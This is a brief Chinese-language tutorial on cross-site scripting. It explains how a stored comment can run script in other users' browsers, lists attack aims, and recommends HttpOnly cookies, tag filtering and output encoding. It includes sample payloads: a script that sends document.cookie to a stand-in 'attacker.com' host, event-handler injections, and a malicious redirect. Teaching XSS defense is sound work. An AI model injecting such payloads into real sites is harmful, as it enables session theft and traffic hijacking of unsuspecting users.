XSS
全称Cross Site Scripting
,不叫css
是为了和样式表区分开,其核心原理就是在目标网页中执行恶意的 js 代码。
举个常见例子:
A 网站有个用户评论的功能,假设 A 网站未做任何预防XSS
的措施,攻击者可以通过输入以下内容:
<script>
const cookie = document.cookie;
// ajax 将cookie发送到攻击者自己的服务器(伪代码)
ajax('http://attacker.com', cookie);
</script>
A网站
将该内容保存到服务器并展示在前端页面,这时用户A
刚好访问该网页的该评论页面,用户A
的浏览器识别script
,直接执行scirpt
中的代码,最终用户A
关于A网站
的cookie
全部被发送到了攻击者的服务器上了,恰巧A网站
的登录凭证都是放在cookie
中的,攻击者此时完全可以以用户A
的身份登录A网站
。
XSS
的攻击方式
除了上面提到的script
方式,还有<img onerror />
之类的也可以利用,如:
// 利用img的onerror中可以执行脚本
<img src='' onerror='alert("hey!")'>
// 鼠标只要在该标签上移动就会执行
<a onmousemove='do something here'>
<div onmousemove=do something here'>
XSS
的攻击意图
-
窃取目标网页中的
cookie
值可通过服务端设置
cookie
为http only
(需要浏览器支持,毕竟cookie
的所有权属于浏览器)。 -
劫持流量实现恶意跳转
插入类似如下代码:
<script>window.location.href="http://www.baidu.com";</script>
相当于偷
目标网站的流量。
防范手段
- 过滤
<script>
、<img>
、<a>
等标签 - 对用户上传的内容进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。